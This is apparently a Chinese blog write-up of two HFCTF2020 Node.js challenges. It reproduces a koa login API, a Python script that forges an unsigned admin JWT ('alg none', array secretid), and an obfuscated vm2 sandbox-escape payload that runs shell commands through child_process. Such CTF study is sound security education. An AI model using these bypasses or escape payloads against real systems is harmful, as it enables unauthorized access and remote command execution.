HFCTF2020两道NodeJs题

[HFCTF2020]两道NodeJs题

EasyLogin

考点:

  • JWT验证
  • NodeJs代码审计

先了解一下koa框架的目录基本结构。

创建一个默认koa项目:

%title插图%num

bin里的www为项目入口,通过它引入app.js配置内容。

public公共文件夹,放一些样式、页面js逻辑、图片。

routers路由,功能为分发请求。

views为视图文件,jade是一个文本格式,其内容还可以是我们最熟悉的html。

app.js和package.json是配置文件。

对于开发web项目可能会有如下几个目录:
middelware文件夹(中间件)。

其次在app文件夹里面会出现我们熟悉的controller、service、model(控制层,业务层,对象层)。

还有一个是config文件夹,放一下配置文件的js,例如mysql.js初始化配置连接密码。

接下来直接看逻辑代码:

# controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

代码很简单,就是得用admin身份才能拿到flag,该网站使用JWT进行身份验证的,又不能使用admin用户注册,所以我们就伪造admin身份就行了,利用网站https://jwt.io/

%title插图%num
%title插图%num

当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器
import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123123",
  "iat": 1628880148
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)

%title插图%num

替换authrization发包

%title插图%num

cookie替换发包

%title插图%num

JustEscape

考点:

  • vm2沙箱逃逸

看起来是php实际上是nodejs。。。。。。

直接传Error().stack,call stack 通过报错信息能够看到是vm2,网上直接搜一下exp打,issue

%title插图%num

发现是有过滤的," prototype process constructor exec for while 等等

%title插图%num

try {
    Buffer.from(new Proxy({}, {
        getOwnPropertyDescriptor(){
            throw f=>f[``.concat(`constr`,`uctor`)](``.concat(`return pro`,`cess`))();
        }
    }));
} catch(e) {
    e(()=>{}).mainModule.require(``.concat(`child_proc`,`ess`))
        [``.concat(`ex`,`ecSync`)](`cat /flag`)
}

%title插图%num

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇